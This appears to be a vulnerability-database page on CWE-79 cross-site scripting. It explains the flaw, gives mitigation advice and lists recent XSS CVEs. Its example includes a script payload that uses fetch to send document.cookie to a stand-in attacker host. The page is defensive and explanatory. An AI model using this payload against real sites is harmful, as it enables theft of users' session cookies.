Fallos del tipo CWE-79

30.585 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-65337MEDIUMSourcecodester Fantastic Blog CMS 1.0 is vulnerable to Cross Site Scripting (XSS) in pageEditMember.php via the address field.EPSS 0.2%CVE-2026-48256MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2026-6725MEDIUMWPC Smart Messages for WooCommerce <= 4.2.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributeEPSS 0.2%CVE-2026-109355MEDIUMLibreNMS before 26.9.0 Stored XSS via Tools Oxidized Node ListEPSS 0.2%CVE-2026-102402MEDIUMTeam <= 6.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'ttp_filter_taxonomy' Post Meta via [tlpteam] ShortcodeEPSS 0.2%CVE-2025-59548MEDIUMDNN Vulnerable to Reflected Cross-Site Scripting (XSS) in CKEditor File BrowserEPSS 0.2%CVE-2025-67443MEDIUMSchlix CMS before v2.2.9-5 is vulnerable to Cross Site Scripting (XSS). Due to lack of javascript sanitization in the login form, incorrect EPSS 0.2%CVE-2026-92767MEDIUMTwenty20 Image Before-After <= 2.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'offset' Shortcode AttributeEPSS 0.2%CVE-2025-5967MEDIUMA stored cross-site scripting vulnerability in ENS HX 10.0.4 allows a malicious user to inject arbitrary HTML into the ENS HX Malware Scan NEPSS 0.2%CVE-2026-103480MEDIUMTourfic <= 3.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'type' Shortcode AttributeEPSS 0.2%CVE-2026-103590MEDIUMQloApps through 1.7.0 Reflected XSS via Length of Stay FieldsEPSS 0.2%CVE-2026-115350MEDIUMMistune before 3.3.0 Stored XSS via Include Directive HTML FilesEPSS 0.2%CVE-2026-12136MEDIUMSysBasics Customize My Account for WooCommerce <= 4.3.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2025-61949MEDIUMLogStare Collector contains a stored cross-site scripting vulnerability in UserManagement. If crafted user information is stored, an arbitraEPSS 0.2%CVE-2026-15795MEDIUMResponsive Plus <= 3.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2025-67648HIGHShopware's inproper input validation can lead to Reflected XSS through Storefront Login PageEPSS 0.2%CVE-2026-106701MEDIUMELADMIN v2.7 and before is vulnerable to Cross Site Scripting (XSS) via the component WebSocketServer, SpringSecurityConfig, deploy.vue.EPSS 0.2%CVE-2025-55059MEDIUMCWE-79 Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting')EPSS 0.2%CVE-2026-5505MEDIUMWP-Clippy <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-109989MEDIUMThemify Popup <= 1.4.7 - Authenticated (Author+) Stored Cross-Site Scripting via 'popup_width_unit' ParameterEPSS 0.2%